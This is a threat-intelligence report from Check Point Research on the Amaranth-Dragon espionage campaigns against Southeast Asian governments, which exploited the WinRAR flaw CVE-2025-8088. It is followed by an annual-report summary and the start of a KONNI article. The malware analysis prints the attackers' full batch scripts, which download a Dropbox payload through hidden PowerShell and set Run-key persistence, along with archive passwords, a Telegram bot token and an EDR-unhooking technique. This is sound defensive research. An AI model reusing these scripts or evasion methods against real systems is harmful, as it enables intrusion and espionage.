Looking back at 2025, the threat landscape became more crowded, messy, and increasingly interconnected. Across different regions, we saw state-backed groups, private offensive actors, and high-end cybercrime operating side by side, sometimes even within the same networks. Zero-days, cloud-focused intrusions, and well-crafted phishing are no longer just rare outliers; we observed them repeatedly in multiple attacks as practical, reliable ways to get results.
At the same time, many of the campaigns we uncovered show that novelty often lies less in entirely new tooling and more in how familiar techniques are combined and deployed. Actors reused infrastructure, malware frameworks, and social engineering themes, but adapted them to new targets, regions, and operational goals. In several cases, incomplete or internal-only research threads offered insight into how attackers test ideas, quietly iterate, and refine their approach over time.
Ultimately, these observations reinforce the need for sustained visibility, collaboration, and context-driven research. Threat actors continue to invest where impact matters most, while opportunistic campaigns exploit gaps that are overlooked or left unpatched. By sharing these stories, both the well-known and the previously untold, we hope to contribute to a clearer picture of attackers’ behavior and help strengthen collaboration between security researchers and vendors moving forward.
Check Point Research (CPR) has been tracking Amaranth-Dragon, a nexus of APT-41, previously aligned with Chinese interests. The group launched highly targeted cyber-espionage campaigns throughout 2025 against government and law enforcement agencies in Southeast Asia.
We observed overlaps between Amaranth-Dragon and APT-41’s arsenal, suggesting a possible connection or shared resources between them. Further analysis of file compilation and campaign timelines suggests the group operates in UTC+8 (China Standard Time).
Attack themes and lure documents often coincide with significant local geopolitical events, increasing the likelihood of successful compromise.
Less than ten days after the WinRAR vulnerability (CVE-2025-8088) was disclosed, Amaranth-Dragon introduced malicious RAR archives into their campaigns, exploiting this vulnerability and ultimately achieving code execution and persistence on victim systems.
The group utilizes legitimate hosting services (e.g., Dropbox) and Amaranth Loader, a custom tool to deliver encrypted payloads, primarily deploying the Havoc C2 Framework. Command and Control servers are protected by Cloudflare and configured to respond only to IP addresses from targeted countries, minimizing collateral infections and increasing campaign stealth.
A new tool was added to their arsenal, which we track as TGAmaranth RAT. The Telegram-based remote access trojan features anti-EDR and anti-AV capabilities and uses a Telegram bot as its command and control server.
Introduction
Check Point Research has identified several campaigns targeting multiple countries in the Southeast Asian region. These related activities have been collectively categorized under the codename “Amaranth-Dragon”. The campaigns demonstrate a clear focus on government entities across the region, suggesting a motivated threat actor with a strong interest in geopolitical intelligence. The campaigns frequently target law enforcement agencies, particularly the police, and often appear to be timed or themed around ongoing local political events.
The attacks are performed by the Chinese group we track as Amaranth-Dragon. A previously unknown loader we call Amaranth Loader shares similarities with tools such as DodgeBox, Dustpan and Dusttrap associated with the Chinese hacking group known as APT-41 (FBI’s most wanted cybercriminal groups), suggesting a connection or shared resources between the groups.
Their Command and Control (C&C) servers were protected behind Cloudflare, configured to accept traffic only from IP addresses within the specific country or countries targeted in each operation. Once executed, the Amaranth loader retrieves an encrypted payload, decrypts it using AES, and executes it directly in memory.
The payload most commonly deployed is the Havoc Framework, an open-source Command and Control (C&C) platform used for authorized security assessments such as penetration testing and red teaming. In legitimate contexts, Havoc enables security professionals to deploy, manage, and interact with post-exploitation agents within environments they are permitted to test.
While the initial delivery method remains uncertain, the targeted nature of the attacks suggests the use of malicious emails containing weaponized attachments. The initial file is a RAR archive exploiting CVE-2025-8088, which allows the attackers to execute arbitrary code by crafting malicious archive files.
CVE-2025-8088
The vulnerability affects WinRAR and was disclosed on August 8, 2025. A publicly available exploit tool for this vulnerability was released on GitHub on August 14, 2025. Later, on August 18, 2025, Amaranth-Dragon leveraged this vulnerability for the first time in their campaigns.
CVE-2025-8088 is a path traversal vulnerability affecting the Windows version of WinRAR that allows attackers to execute arbitrary code.
Figure 1 — Triggering CVE-2025-8088.
By crafting the malicious RAR file, the threat actors can drop a file into the Startup folder and achieve indirect code execution upon system reboot.
Amaranth-Dragon Campaigns
Since March 2025, Check Point Research has identified several campaigns attributed to Amaranth-Dragon. The campaigns have targeted several Southeast Asian countries, including Cambodia, Thailand, Laos, Indonesia, Singapore, and the Philippines. It is highly probable that additional campaigns have targeted other countries in the region; however, the highly targeted nature of these operations makes it difficult to obtain further indicators of compromise (IoCs).
Each campaign typically targets one or two countries and is coordinated around geopolitical or local events. The archive file was typically hosted by legitimate providers like Dropbox. The archive contained multiple files, including a malicious DLL, the Amaranth loader, which was sideloaded by a legitimate executable. Often, the compilation timestamp aligns with the campaign date.
Upon execution, the Amaranth loader contacts a designated URL to retrieve an AES encryption key. The AES key is retrieved from Pastebin or hosted on the group’s server, however, there were some campaigns where the key was embedded in the loader. The key is then used to decrypt an encrypted payload retrieved from a secondary URL owned by this group.
Their infrastructure enforces strict targeting. If an infected victim attempts to access the payload URL from an IP address outside the designated target country, the server responds with HTTP 403 Forbidden, preventing the payload from being delivered and effectively blocking unintended infections.
Figure 2 — Contacting C&C with an IP from Singapore.
This geo-restriction mechanism has allowed us to reliably determine the specific country targeted in each campaign, based on which IP ranges are permitted to access the C&C.
Figure 3 — Response 403 from a country that is not targeted.
The names of these campaigns and the loader were inspired by the Pastebin account that hosted the AES key for multiple operations. The account amaranthbernadine has been observed across several campaigns, each containing different pastes.
Figure 4 — amaranthbernadine Pastebin account.
Some of these campaigns also exploited CVE‑2025‑8088, which potentially allowed the threat actor to drop a script file (CMD or BAT) into the Startup folder and achieve code execution upon reboot. The script executed the Amaranth Loader by sideloading it, which then downloaded, decrypted, and executed the Havoc C2 Framework in memory.
Campaigns Timeline
Figure 5 — Amaranth-Dragon campaigns.
March 19, 2025, Cambodia
The first discovered campaign, dated March 19, 2025, appears to have targeted Cambodia, as indicated by the file name CNP_MFA_Meeting_Documents.zip. Specifically, the Cambodia National Police and/or the Ministry of Foreign Affairs were targets. At that time, the group did not exploit the CVEs as they had not yet been disclosed. Instead, the attackers used ZIP archives containing script files, such as .lnk and .bat, to decrypt and execute the Amaranth loader.
April 28, 2025, Cambodia
The second campaign, which took place on April 28, 2025, once again targeted Cambodia with an updated version of the Amaranth loader. The URL downloading the encrypted Havoc payload indicated the targeted country, drive.easyboxsync[.]com/resources/channels/v7/cambodia64.
July 3, 2025, Thailand & Laos
The third campaign was the last observed campaign without the CVE being exploited to deliver the malicious script that maintains persistence on the system and executes the Amaranth loader. This campaign targeted Thailand and Laos on July 3, 2025.
August 18, 2025, Indonesia
During the fourth campaign, which began on August 18, 2025, the group targeted Indonesia with the archive filename SK_GajiPNS_Kemenko_20250818.rar, which translates to “Official Decision (SK) regarding the Salary (Gaji) of Civil Servants (PNS) working in Coordinating Ministries (Kemenko)”. Notably, Indonesia increased the salary of Civil Servants by 8% starting from August 1, 2025. Therefore, such a filename could lure victims into opening and executing the received file. During this campaign, we observed the group exploiting CVE-2025-8088 for the first time to drop a malicious .bat file into the Startup folder, establishing persistence on the victim machine. The vulnerability had been disclosed by the vendor ten days before the campaign occurred, and the first public exploit appeared on GitHub four days prior to that.
September 5, 2025, Indonesia
In the campaign targeting Indonesia, which began on September 5, 2025, we observed that the Amaranth loader was not deployed. Instead, the attackers used a fully functional RAT that leveraged a Telegram bot as its C&C, retrieved PII (Personal Identifiable Information) and executed remote commands. The initial .rar file, Proposal_for_Cooperation_3415.05092025.rar, does not indicate any specific targeted entities. In September, several events took place that were likely connected, but we were unable to establish a definitive link between them.
September 15, 2025, Thailand, Singapore & Philippines
In the sixth campaign, the C&C server only accepted connections from Thailand, Singapore, and the Philippines, while blocking all other regions. The deployed shellcode was the Havoc C2 Framework. We are not certain of the exact date the campaign took place, as the compilation timestamp suggests September 4, 2025, while we first saw it on September 15, 2025. Based on the filename FSTR_HADR.zip .The campaign may reference two events:
Falcon Strike 2025, China‑Thailand Joint Air Force Exercise from 19–25 September 2025 in Thai airspace.
HADR operations Philippine Army – Royal Thai Army from 11–12 September 2025.
Between September 29 and October 10, we discovered another campaign themed Training_Program, which appeared to target Thailand and Singapore using the Amaranth loader.
October 15, 2025, Philippines
The last two campaigns, identified between October 15 and 23, 2025, targeted the Philippines. The first of those two campaigns, with the name OAS-2025-111.10_Minutes_Template_Salary_and_Bonus_Meeting, attempted to download the file @MrPresident_001_bot.rar. However, we were unable to retrieve it due to its very short-lived availability period.
During the latest campaign targeting the Philippine Coast Guard, we determined the group’s operational timezone using VirusTotal submissions, ZIP files, and Amaranth loader Compilation Timestamps.
2025-10-22 08:23:07 UTC DllSafeCheck64.dll (Compilation Timestamp)
The campaign provides a mix of timestamps, with two in UTC and the rest in the group’s local time zone.
During this campaign, the Amaranth loader (DLL) was embedded inside a password-protected archive named .vcredist.rar. This RAR file was added to the ZIP archive at 2025-10-22 16:24 in the group’s local time, while the DLL was compiled on the same day at 08:23 UTC. It is reasonable to assume that the malicious file was added to the RAR archive shortly after compilation (a difference of one minute and 13 seconds). In this case, the group’s operating timezone appears to be UTC+8, which aligns with China’s single standard timezone.
The latest modification time of the ZIP file is close to the campaign’s start on 2025-10-23 (first submission). The ZIP was submitted at 08:25:58 UTC, but the latest file inside shows 16:05:30 ”local time”, again indicating an 8-hour time difference. This suggests that the group added the .bat file shortly before launching the campaign.
The campaign was initiated on October 23, 2025, using the theme of the Philippines Coast Guard’s 124th Anniversary, which took place that same day. The group impersonated the “Office of the President” as part of their social engineering tactics.
Figure 6 — Philippines Coast Guard attack chain.
During this campaign, we did not observe the use of the CVE-2025-8088 vulnerability.
Both .lnk files masquerade as PDF files purportedly delivered by the Office of the President. When triggered, each executes the following command, which runs the “hidden” .bat file stored in the \\__MACOSX\\ folder.
It is interesting to note that even if only the .lnk file is extracted, executing it will extract all the files from the archive and then trigger the .bat file.
@echo off
setlocal
:: ??????
set rsz=.\\__MACOSX\\.vcredist.rar
:: ??????
:: ??????
set drp=%appdata%\\ZoomWorkspace
set exf=%appdata%\\ZoomWorkspace\\ZoomUpdate.exe
:: ??????
:: ??????
if not exist "%drp%" (
mkdir "%drp%" >NUL 2>&1
)
set "RAR32=%ProgramFiles(x86)%\\WinRAR\\Rar.exe"
set "RAR64=%ProgramFiles%\\WinRAR\\Rar.exe"
set "z32=%ProgramFiles(x86)%\\7-Zip\\7z.exe"
set "z64=%ProgramFiles%\\7-Zip\\7z.exe"
if exist "%RAR64%" (
"%RAR64%" x -hpsuu9cskRIQjsBxYtr9TH -y "%rsz%" "%drp%\\" >NUL 2>&1
if exist "%exf%" (
del /s /q /a /f "%rsz%"
powershell -WindowStyle hidden -ep Bypass -nop %exf%
)
exit /b %errorlevel%
)
if exist "%z64%" (
"%z64%" x -psuu9cskRIQjsBxYtr9TH -o "%drp%\\" -y "%rsz%" >NUL 2>&1
if exist "%exf%" (
del /s /q /a /f "%rsz%"
powershell -WindowStyle hidden -ep Bypass -nop %exf%
)
exit /b %errorlevel%
)
if exist "%RAR32%" (
"%RAR32%" x -hpsuu9cskRIQjsBxYtr9TH -y "%rsz%" "%drp%\\" >NUL 2>&1
if exist "%exf%" (
del /s /q /a /f "%rsz%"
powershell -WindowStyle hidden -ep Bypass -nop %exf%
)
exit /b %errorlevel%
)
if exist "%z32%" (
"%z32%" x -psuu9cskRIQjsBxYtr9TH -o"%drp%\\" -y "%rsz%" >NUL 2>&1
if exist "%exf%" (
del /s /q /a /f "%rsz%"
powershell -WindowStyle hidden -ep Bypass -nop %exf%
)
exit /b %errorlevel%
)
endlocal
The bat file attempts to extract two files from the password-protected archive using the password suu9cskRIQjsBxYtr9TH and stores them in %appdata%\\ZoomWorkspace\\. The executable file is legitimate and signed, which sideloads the malicious DLL Amaranth Loader.
The loader contacts hxxps://softwares.dailydownloads[.]net/products/microsoft/office/product-key/DB2F.activation.key to retrieve the AES key and hxxps://updates.dailydownloads[.]net/docs/microsoft/office/Office_Activation_Manual_DB2F.pdf to obtain the encrypted payload, which is then run in memory. The payloads we obtained were Havoc C2 Framework.
Campaign Analysis – Indonesia, 2025-09-05
The campaign targeting Indonesia took place on September 5, 2025. Its theme was Proposal_for_Cooperation_3415. The group distributed a malicious RAR file that exploits the CVE-2025-8088 vulnerability, allowing the execution of arbitrary code and maintaining persistence on the compromised machine.
Figure 7 — TGAmaranth RAT attack chain.
The RAR file drops the following benign files into the extracted directory (in the example above, the Desktop folder):
When attempting to exploit the path traversal vulnerability to drop the malicious script into the Startup folder and achieve arbitrary code execution, we observed the malware repeatedly trying different ../ path‑traversal sequences until it successfully reached the correct directory, which varies depending on where the RAR file is extracted.
Figure 8 — Path Traversal attempts to achieve code execution.
After the malicious file is dropped into the Startup folder, it executes Windows Defender Definition Update.cmd upon the next system reboot. It is noteworthy that although the RAR file exists on VirusTotal, the sandbox was unable to extract the malicious file, creating challenges for researchers, as no artifacts were available to analyze.
Figure 9 — Unable to extract the malicious CMD file.
@echo off
setlocal ENABLEEXTENSIONS ENABLEDELAYEDEXPANSION
set "TARGET_DIR=C:\\Users\\Public\\Documents\\Microsoft"
set "ZIP_URL=hxxps://www.dropbox.com/scl/fi/ln6q8ip8k3dvx6xxyi71s/gs.rar?rlkey=w9vg1ehva23iitfdt5oh2x6cj&st=pwq86nfo&dl=1"
set "RANDOM_NAME=winupdate_v!RANDOM!!TIME:~6,2!!TIME:~3,2!"
set "ZIP_FILE=%TARGET_DIR%\\%RANDOM_NAME%.rar"
set "EXTRACT_DIR=%TARGET_DIR%\\%RANDOM_NAME%"
set "EXE_FILE=%EXTRACT_DIR%\\obs-browser-page.exe"
set "DLL_FILE=%EXTRACT_DIR%\\libcef.dll"
if exist "%EXE_FILE%" if exist "%DLL_FILE%" goto :RunProgram
if not exist "%TARGET_DIR%" mkdir "%TARGET_DIR%" >NUL 2>&1
call :Download "%ZIP_URL%" "%ZIP_FILE%"
if errorlevel 1 (
timeout /t 15 >NUL
call :Download "%ZIP_URL%" "%ZIP_FILE%"
if errorlevel 1 (
timeout /t 30 >NUL
call :Download "%ZIP_URL%" "%ZIP_FILE%"
if errorlevel 1 exit /b 1
)
)
mkdir "%EXTRACT_DIR%" >NUL 2>&1
call :Extract "%ZIP_FILE%" "%EXTRACT_DIR%" || exit /b 1
del /q "%ZIP_FILE%" >NUL 2>&1
:RunProgram
if exist "%EXE_FILE%" (
reg add "HKCU\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run" /v "%RANDOM_NAME%" /t REG_SZ /d "%EXE_FILE%"
start "" "%EXE_FILE%"
)
endlocal
exit /b 0
:Download
powershell -WindowStyle Hidden -NoLogo -NoProfile -Command ^
"try { (New-Object Net.WebClient).DownloadFile('%~1','%~2'); exit 0 } catch { exit 1 }" >NUL 2>&1
if %errorlevel%==0 exit /b 0
powershell -WindowStyle Hidden -NoLogo -NoProfile -Command ^
"try { (New-Object Net.WebClient).DownloadFile('%~1','%~2'); exit 0 } catch { exit 1 }" >NUL 2>&1
if %errorlevel%==0 exit /b 0
exit /b 1
:Extract
set "RAR32=%ProgramFiles(x86)%\\WinRAR\\Rar.exe"
set "RAR64=%ProgramFiles%\\WinRAR\\Rar.exe"
if exist "%RAR64%" (
"%RAR64%" x -hpS8jwaqfA0BBuWOAKrFLg -y "%~1" "%~2\\" >NUL 2>&1
exit /b %errorlevel%
)
if exist "%RAR32%" (
"%RAR32%" x -hpS8jwaqfA0BBuWOAKrFLg -y "%~1" "%~2\\" >NUL 2>&1
exit /b %errorlevel%
)
where Rar.exe >NUL 2>&1
if %errorlevel%==0 (
Rar.exe x -hpS8jwaqfA0BBuWOAKrFLg -y "%~1" "%~2\\" >NUL 2>&1
exit /b %errorlevel%
)
exit /b 1
The .cmd file downloads a password‑protected RAR archive from Dropbox and saves it to C:\\Users\\Public\\Documents\\Microsoft under the name winupdate_v{random_int_cur_time}.rar. Threat actors often abuse legitimate file‑sharing services, such as Dropbox, Google Drive, GitHub, and others. Although these platforms scan uploaded files for malicious activity, password‑protecting an archive prevents the files from being extracted and their contents analyzed, which allows malicious payloads to bypass security checks.
After it’s downloaded, the RAR file is decrypted using the password S8jwaqfA0BBuWOAKrFLg. It then drops the two embedded files, obs-browser-page.exe and libcef.dll, into C:\\Users\\Public\\Documents\\Microsoft\\winupdate_v{random_int_cur_time}\\. A Run registry key is then created to maintain persistence for the executable, which will sideload the malicious DLL file. obs-browser-page.exe – 7af238050b2750da760b2cf5053bcf58054bcf44e9af1617d8b7af3ed98d09c6
The DLL file was compiled on Thu, Sep 04, 10:41:21 2025, and contains the malicious export cef_api_hash. The malware is the RAT we track as TGAmaranth RAT, and uses a Telegram Bot as its C&C.
The artifacts we observed in the campaign’s initial ZIP file were also present in another ZIP file. However, instead of downloading the encrypted RAR from Dropbox, the file was retrieved from the group’s own servers:
Interestingly, the filename @MrPresident_001_bot.rar could potentially refer to a Telegram bot, as it follows the platform’s naming conventions for bot accounts.
Amaranth Loader – Technical Analysis
The Amaranth loader is a 64-bit Windows PE DLL that executes its malicious functionality when sideloaded. The loader usually does not establish additional persistence mechanisms. However, in some campaigns and samples, we observed the creation of a Run key entry to ensure persistence.
The DLL typically contains multiple exports, in most cases, only a single export is functional, and the remaining exports point to the same address, which simply invokes an infinite Sleep loop.
Figure 10 — Amaranth Loaders DLL exports.
After the correct export is invoked by the main executable, Amaranth loader decrypts the initial URL using a hardcoded XOR key.
Figure 11 — String decryption.
The loader contacts the URL that hosts the AES key. While the majority of samples we obtained follow this approach, we also observed samples in which the AES key is embedded in the binary in encrypted form. In these cases, the same decryption process described above is used to retrieve the AES key.
Initially, the URLs used to retrieve the key were hosted on Pastebin, uploaded from a single account @amaranthbernadine. In later campaigns, the AES key was hosted on servers controlled by the threat group, similar to those in the payload.
Moving the AES keys from Pastebin to their own servers enables the attackers to apply geolocation restrictions before payload delivery.
Figure 12 — AES-key retrieved from URL.
We observed multiple User-Agent strings being passed as arguments to the InternetOpenA function, including:
"Avant Browser/1.2.789rel1 (<http://avantbrowser.com>)"
"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36"
"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36"
"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:129.0) Gecko/20100101 Firefox/129.0"
"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.37 (KHTML, like Gecko) Chrome/132.0.6788.76 Safari/537.36"
"downloader"
The loader downloads the encrypted file from the second URL and decrypts it using AES-CBC with the obtained key and a hardcoded initialization vector (IV). The same IV is present in all Amaranth loader samples from the campaigns mentioned earlier: 12 34 56 78 90 AB CD EF 34 56 78 90 AB CD EF 12.
The loader allocates 4 KB of memory with PAGE_EXECUTE_READWRITE access and copies the decrypted shellcode into this memory address. It then executes the shellcode entry point. The observed shellcode was the Havoc command-and-control framework.
Example of Havoc Configuration (targeting Thailand, Singapore, Philippines –FSTR_HADR.zip):
During our analysis of the loader’s strings, we observed several development and debug artifacts, such as references to Crypto++ source file paths. These paths likely originate from the threat actors’ development environment.
In early September, we discovered a file exhibiting similarities to both Amaranth Loader and previous APT-41 reported tools (here and here). This sample was compiled on August 20, 2025, and appears to have been used in multiple attacks. We observed the same Crypto++ file artifacts as seen in Amaranth Loader, as well as the use of the DLL sideloading technique.
Of the four DLL exports, three of them point to the same address containing the Sleep instruction, while the other export, CreateWzAddrBook, implements the malicious functionality.
Figure 13 — DLL Exports.
Before entering an infinite sleep, the main export creates a thread to execute the malicious function.
Similar to Amaranth Loader, this local variant decrypts its strings using the same previously described algorithm. Although some unusual logic is present in the code, this appears to be the result of compiler optimizations, such as loop unrolling, though the result is the same.
Figure 14 — Decryption algorithm.
Python representation:
data = b'?N\\xd9\\x8c$\\x1d}\\xed\\x1c4\\x00\\x00\\x00\\x00\\x00\\x00'
key = 0x8145F15287224668
decrypted_size = 10
decrypted = bytes(
data[i] ^ (key >> i % 8) & 0xFF
for i in range(0, decrypted_size)
)
print(decrypted)
# b'WzCAB.dat\\x00'
The first decrypted string is the filename containing the encrypted shellcode, which is loaded into memory and executed. The second decrypted string is the “RC4 key” used to decrypt the shellcode. Windows API function names are also encrypted and decrypted using the same algorithm, then GetProcAddress is used to dynamically resolve these functions at runtime.
The function used to decrypt the shellcode is an RC4-like implementation. While the Key-Scheduling Algorithm (KSA) is correctly implemented, the difference from the standard RC4 algorithm lies in the Pseudo-Random Generation Algorithm (PRGA).
Below is the Amaranth-Dragon Python RC4 implementation:
def rc4_amaranth_dragon(key: bytes, data: bytes) -> bytes:
"""
Amaranth-Dragon RC4-like decryption function.
Author: @Tera0017/@_CPResearch_
"""
def KSA(key: bytes) -> list[int]:
sBox = list(range(0, 256))
b = 0
for i in range(0, 256):
b = (sBox[i] + key[i % len(key)] + b) & 0xFF
sBox[i], sBox[b] = sBox[b], sBox[i]
return sBox
def PRGA(sbox: list[int], data_size: int):
j = 0
for i in range(0, data_size):
ii = (i + 1) & 0xFF
j = (j + sbox[ii]) & 0xFF
sbox[ii], sbox[j] = sbox[j], sbox[ii]
# Amaranth-Dragon RC4 Implementation
yield i, (sbox[ii] + sbox[j]) & 0xFF
# Standard RC4 Implementation
#yield i, box[(box[ii] + box[j]) & 0xFF]
box = KSA(key)
return bytes(
data[i] ^ cipherbyte
for i, cipherbyte in PRGA(box, len(data))
)
It’s not clear if this deviation is intentional or accidental. However, standard Python libraries such as PyCryptodome do not successfully decrypt the shellcode.
Figure 15 — PRGA Implementation.
After the RC4-like decryption function completes, the malware uses the previously mentioned XOR algorithm to decrypt and dynamically resolve the necessary Windows API functions. These functions are then used to perform process injection by executing the shellcode within a fiber context.
TGAmaranth RAT is a fully functional 64-bit DLL remote access tool (RAT) that uses a hardcoded Telegram bot as its C&C. It uses an encrypted bot token to connect to https://api.telegram.org, listens for incoming bot messages, and interprets them as commands.
This file was compiled on September 4, 2025, and was used in a campaign targeting Indonesia and possibly other Southeast Asian countries. The sample follows a modus operandi similar to that of other tools observed in the Amaranth-Dragon campaigns, and is sideloaded by a legitimate executable.
Figure 16 — TGAmaranth RAT DLL exports.
The first function executed by the malware implements an anti-debugging technique to determine if the process is being debugged. This method is described in detail in this GitHub repository. In summary, the malware creates an event handler named SelfDebugging and launches a child process of itself, passing the executable filename and the parent process ID as arguments. The child process then attempts to attach to the parent process using the DebugActiveProcess. If this attempt fails, the child process signals the event handler to notify the parent that it is already being debugged. Upon detection of a debugger, both the child and parent processes terminate. If no debugger is detected, the parent process proceeds with the infection routine.
However, before proceeding with full infection, the malware employs an anti-EDR and anti-AV technique that overwrites a hooked ntdll.dll in the current process with a clean, unhooked copy, thereby allowing it to bypass EDR or antivirus hooks. To achieve this, the malware creates a child process of cmd.exe in CREATE_SUSPENDED mode and reads the child process’s ntdll.dll from memory using the ReadProcessMemory API. As many EDR solutions do not hook into the ntdll.dll of a process until it is resumed, the suspended child process typically contains an unhooked version of the DLL. TGAmaranth does not inject any code into the child process, but simply reads the unhooked ntdll.dll and then terminates the child process. The malware then copies the .text section of the unhooked ntdll.dll from the child process into its own address space, effectively removing any EDR or antivirus hooks from the parent process.
Figure 17 — Export, malicious code.
The RAT encrypts most of its critical strings using a custom XOR-based function, which uses the same algorithm as previously described.
Figure 18 — TGAmaranth string decryption.
Due to compiler optimizations such as loop unrolling, the similarities in the decryption routines are not immediately apparent. However, when translating the code into Python, we observe that the same decryption algorithm is used.
def decrypt_tg_amaranth(key: int, data: bytes) -> bytes:
"""
Amaranth-Dragon, TGAmaranth string decryption function.
Author: @Tera0017/@_CPResearch_
"""
return bytes(
data[i] ^ (key >> i % 8) & 0xFF
for i in range(0, len(data)) if data[i]
)
encrypted = b'9\\xb2x\\x95`\\x98\\xe6\\xdc0\\xb3z\\xe1\\x11\\xed\\xad\\xb8f\\xca\\x14\\xd0\\x06\\xcf\\xb9\\x93P\\xb3x\\xc6\\x1f\\xe7\\xe5\\x832\\xef&\\xd18\\xd9\\x98\\x87i\\xd11\\xfa#\\x90\\xd4\\x00'
key = 0x7001694307667501
tg_bot_token = decrypt_tg_amaranth(key, encrypted)
print(tg_bot_token)
# b'8285002613:AAEyRgJTpVgmyQ38fOO1i3ofqhqLmhQqZs8\\x00'
The first decrypted string is the Telegram bot token, 8285002613:AAEyRgJTpVgmyQ38fOO1i3ofqhqLmhQqZs8, which serves as the C&C channel for the RAT. The RAT leverages the tgbot-cpp library to interact with the Telegram API. Operators send commands to the RAT through the Telegram bot, and the RAT continuously monitors messages received by the bot, executes the specified commands on the infected machine, and returns the results to the bot via the same Telegram channel.
Command
Argument
Description
/start
N/A
Sends the list of running processes from the infected machine to the bot.
/screenshot
N/A
Captures and uploads a screenshot of the infected machine.
/shell
$command
Executes the specified command on the infected machine and returns the output.
/download
$filepath
Downloads the specified file from the infected machine.
/upload
$FILE
Uploads a file to the infected machine.
The example below demonstrates how the group can interact with the infected machine.
Check Point Research observed overlaps between Amaranth-Dragon and APT-41, with similarities apparent in both their targeting and technical toolsets. Both groups have focused their campaigns on government and law enforcement entities across Southeast Asia, and the Amaranth-Dragon arsenal demonstrates notable technical features previously associated with APT-41. These include the use of DLL sideloading techniques and malicious DLLs that employ a Sleep instruction in unused exports, a characteristic observed in APT-41 tools, reported in earlier research publications. In addition, the development style, such as creating new threads within export functions to execute malicious code, closely mirrors established APT-41 practices. Compilation timestamps, campaign timing, and infrastructure management all point to a disciplined, well-resourced team operating in the UTC+8 (China Standard Time) zone. Taken together, these technical and operational overlaps strongly suggest that Amaranth-Dragon is closely linked to, or part of, the APT-41 ecosystem, continuing established patterns of targeting and tool development in the region.
Conclusion
The campaigns by Amaranth-Dragon exploiting the CVE-2025-8088 vulnerability highlight the recent trend of sophisticated threat actors rapidly weaponizing newly disclosed vulnerabilities. By leveraging a path traversal flaw in WinRAR, the group demonstrates its ability to adapt its tactics and infrastructure to maximize impact against highly targeted government and law enforcement organizations across Southeast Asian countries. The use of geo-restricted C&C servers, custom loaders, and open-source post-exploitation frameworks, such as Havoc, underscores the group’s technical proficiency and operational discipline. These attacks serve as a stark reminder of the importance of timely vulnerability management, user awareness, and robust defense-in-depth strategies. Organizations, especially those in government and critical infrastructure sectors, must prioritize patching vulnerabilities, monitoring suspicious archive files, and remaining vigilant for evolving TTPs. As cyber threats continue to align with geopolitical interests, collaboration between regional partners and the security community is essential to detect, disrupt, and defend against these advanced adversaries.
Protections
Check Point Threat Emulation and Harmony Endpoint provide comprehensive coverage of attack tactics, file types, and operating systems, protecting against the attacks and threats described in this report.
Check Point Research continuously investigates real-world attacks, vulnerabilities, attackers’ infrastructure, and emerging techniques across global networks and environments. The Cyber Security Report 2026 consolidates our research efforts throughout 2025 to deliver a clear, data-driven view of the current threat landscape and its trajectory in 2026.
As Check Point’s flagship annual research publication, the report serves as a reference point for security teams, researchers, and industry leaders seeking to understand how attacker behavior is evolving in practice, not just theory. The findings below highlight the most significant shifts shaping the threat landscape today.
AI as a Force Multiplier Across Cyber Attacks
Artificial intelligence is now embedded across the attack lifecycle, accelerating the execution of familiar techniques at greater speed and scale.
Key observations:
Increasingly convincing social engineering with fewer detectable indicators
Faster reconnaissance and targeting, reducing time-to-compromise
Accelerated malware development
Alongside its role as an enabler, AI is now a direct source of enterprise risk. Research in 2025 identified measurable exposure tied to how organizations deploy and govern AI systems.
Key data points:
Risky AI prompts increased by 97% in 2025
40% of analyzed Model Context Protocols (MCPs) were vulnerable
Elevated trust and autonomy amplify the impact of prompt injection and workflow abuse
Similar efficiency-driven patterns were also observed in financially motivated operations, including ransomware activity.
Ransomware Operations Become More Fragmented and Targeted
Ransomware activity continued to increase in 2025, despite multiple law enforcement takedowns of high-profile groups.
Research findings show:
A shift away from centralized ransomware brands toward smaller, decentralized operators
Increased use of data-only extortion without encryption
More personalized extortion tactics based on victim profiling
Shorter attack and negotiation timelines supported by automation and AI
This evolution reflects a shift toward operational efficiency and decentralized execution.
Unmonitored Devices as High-Value Initial Access Targets
Unmonitored devices played a growing role in intrusion activity, particularly in large-scale and targeted attacks.
Observed trends include:
Exploitation of routers, gateways, VPN appliances, and other perimeter devices
Use of edge devices for persistent access and lateral movement
Delayed detection due to limited monitoring and patching coverage
Supply-chain and vendor ecosystem exposure amplifying risk
These devices often sit outside standard endpoint and identity security controls.
Cyber Activity Aligns More Closely With Geopolitical Conflicts
Threat activity in 2025 increasingly mirrored real-world geopolitical tensions, with cyber operations synchronized to physical and political events.
Key characteristics include:
Coordination between cyber espionage, disruption, and influence campaigns
Targeting of infrastructure and information systems linked to regional conflicts
Use of compromised IoT and surveillance systems to support physical-world operations
This convergence complicates attribution, as activity may involve overlapping criminal and state-aligned characteristics.
Common Pattern: Speed, Scale, and Reduced Visibility
Across all major trends, researchers observed consistent patterns in attacker operations:
Faster execution cycles
Broader targeting with fewer resources
Reduced reliance on custom tooling
Chinese-Nexus Cyber Threats
During 2025 the Chinese-nexus activity was global by design:
Operations are industrialized, not opportunistic
Edge and perimeter infrastructure as primary foothold
Routine zero-day and rapid one-day weaponization
What Security Teams Are Seeing in Practice
Based on activity observed throughout 2025, researchers identified the following conditions present across multiple environments:
Continuous exposure created by misconfigurations, identity weaknesses, and unmanaged assets
Increased reliance on identity-based access paths in intrusion activity
Measurable risk introduced by ungoverned AI usage
Attack paths spanning cloud, edge, SaaS, and on-prem environments
Conclusion
The findings in the Cyber Security Report 2026 reflect sustained observation of real-world attacker behavior rather than isolated incidents or short-term trends. By correlating telemetry, vulnerability research, and active threat investigations across regions and sectors, the report documents how attacker behavior and infrastructure evolved during 2025.
As a long-running, data-driven research publication, the report is intended to support informed analysis, planning, and discussion across the security community, from practitioners and researchers to decision-makers responsible for managing risk in 2026 and beyond.
Read the Cyber Security Report 2026
Access the full report to explore the underlying data, research methodology, and detailed analysis behind these findings.
Check Point Research (CPR) is tracking a phishing campaign linked to a North Korea–aligned threat actor known as KONNI.
This activity goes beyond KONNI’s typical focus areas, indicating broader targeting across the APAC region, including Japan, Australia, and India.
The campaign targets software developers and engineering teams with expertise in, or access to, blockchain-related resources and infrastructure.
The attackers deploy an AI-generated PowerShell backdoor, highlighting the growing use of AI by threat actors, including North Korean groups.
Introduction
